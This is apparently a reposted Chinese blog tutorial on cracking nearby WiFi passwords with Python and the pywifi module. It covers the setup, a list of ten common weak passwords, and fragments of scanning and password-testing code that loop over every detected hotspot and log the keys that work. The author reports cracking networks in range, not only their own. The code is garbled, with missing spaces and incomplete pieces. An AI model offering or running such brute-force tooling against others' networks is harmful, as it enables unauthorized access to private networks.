数据挖掘入门与实战 公众号： datadw
摘要: 我得说明下这个东西一点都不高端，甚至看起来有点糟糕。而且用的是单线程~，因为过几天要搬家了，于是。。
环境准备
python2.7
凑合的linux
差不多的无线网卡
pywifi模块
弱口令字典
清除系统中的任何wifi连接记录(非常重要!!!)
首先，这个模块在win下有点鸡肋，作者在调用WLANAPI时没有做好WLAN_SECURITY_ATTRIBUTES的封装，所以推荐在linux下跑，我测试所使用的是Kali 2.0 自带python 2.7.6 ，可直接通过 pip install pywifi 安装。
导入模块
这里用的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas方法中的if reply != b'OKn':判断需要修改，不然会有很多的提示信息。
frompywifi import*
importtime
importsys 字典准备
效率很重要，毕竟这东西跑起来可真慢，下面是天朝用的比较多的wifi弱口令TOP10
12345678
123456789
88888888
1234567890
00000000
87654321
66668888
11223344
147258369
11111111
配置扫描器
推荐扫描时常可以设置在15-20秒之间 测试时常则可以自定义，考虑到认证速度于距离的关系，我一般设置在15左右，再久的也没意义 到时候就算破解成功的热点，信号也好不到哪里
print"%sn%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s n%s"%( "-"* 70, 6,
"WIFIID", 18, "SSID OR BSSID", 2, "N", 4, "time", 7, "signal", 10, "KEYNUM", 10,
"KEY", "="* 70) #将每一个热点信息逐一进行测试fori,x inenumerate(scanres):
#测试完毕后，成功的结果讲存储到files中res = test(nums-i,iface,x,keys,output,testtimes)
ifres: open(files, "a").write(res)
扫描周围热点defscans(face,timeout):#开始扫描face.scan() time.sleep(timeout)
#在若干秒后获取扫描结果returnface.scan_results() 热点测试
这里后续推荐将扫描过程数据入库，防止重复扫描，且更加直观。
stu.write( "r%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s"%( 6,i, 18,showID,code, 5,now,
7,x.signal,10,len(key)-n,10,k.replace("n","")))
stu.flush()
ifcode == 4:
face.disconnect()
return"%-*s| %s | %*s |%*sn"%(20,x.ssid,x.bssid,3,x.signal,15,k)
returnFalse
案例
这里显示本次测试使用了11个弱口令，并扫描到了20个热点，然后开始坑爹的跑起来了
WIFIID热点的id号 每跑一个会减1
SSID OR BSSID热点的ssid名或mac地址
N对热点的连接状态，这个在
time当前所花去的时间
signal热点的信号强度，若小越好
KEYNUM测试密码的id 每跑一个会减1
KEY当前测试的密码
结果还不错，各位的安全意识不像以前那么蛋疼了，扫出一两个，其中一个还是自家的 - -
via：https://my.oschina.net/Apathy/blog/821039
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